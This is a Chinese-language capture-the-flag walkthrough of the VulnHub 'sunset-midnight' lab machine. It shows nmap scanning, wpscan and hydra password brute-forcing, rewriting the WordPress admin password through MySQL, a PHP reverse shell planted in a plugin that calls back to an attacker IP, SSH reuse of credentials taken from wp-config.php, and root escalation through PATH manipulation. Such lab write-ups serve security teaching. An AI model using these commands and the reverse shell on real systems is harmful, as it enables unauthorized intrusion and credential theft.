vulnhub-midnight-wp

博客地址 http://blog.yutian233.xyz/

靶机描述

Difficulty: Intermediate

Important!: Before auditing this machine make sure you add the host "sunset-midnight" to your /etc/hosts file, otherwise it may not work as expected.

It is recommended to run this machine in Virtualbox.


This works better with ViritualBox rather than VMware

https://www.vulnhub.com/entry/sunset-midnight,517/

主机发现

image-20200804175512634

信息搜集

nmap -A -p- 192.168.217.172

image-20200804193145024

开放 22、80、3306端口
根据信息可以看出
在80端口上搭建了WordPress 

Wpscan

爆破用户名字

wpscan --url http://sunset-midnight/ --enumerate u

image-20200804193418167

得到名为 admin 的用户

接下来试着爆破密码

wpscan --url http://sunset-midnight/ -U admin -P /usr/share/wordlists/rockyou.txt

使用字典为 kali 自带的 /usr/share/wordlists/rockyou.txt

image-20200804193527443

爆破无果

尝试3306端口

3306

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.217.172

image-20200804193629178

得到密码 robert

连接mysql

mysql -h192.168.217.172 -uroot -p

进入数据库查看密码

image-20200804193806282

密码为加密过的

由于有mysql权限1

使用 update 更新密码,密码为123456

update wp_users set user_pass=md5(“123456”) where user_login=‘admin’;

image-20200804193834255

得到密码之后就可以去网站后台登陆了

获得www-date

登陆后台后来到插件编辑处

image-20200804194157107

编辑 /usr/share/webshells/php/php-reverse-shell.php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.217.168';  // CHANGE THIS
$port = 2233;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

更改IP为 kali 的IP port为监听的端口,接下来将更改完成的代码复制到插件内容里

image-20200804194506149

完成后点击 Activate 即可得到反弹的shell

image-20200804194910532

image-20200804195921721

还有一个用户 jose

在 /var/www/html/wordpress/wp-config.php 发现了用户 jose 的密码

image-20200804200234361

连接到 jose

ssh jose@192.168.217.172

ssh jose@192.168.217.172

image-20200805103625393

image-20200805103716462

将status 传出来反编译后得到

image-20200805103933979

接下来更改环境变量2,提权root

image-20200805104113305

参考


  1. https://www.zhangshushan.com/wp/1242.html ↩︎

  2. http://notes.getshell.net/Notes/131.html ↩︎

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值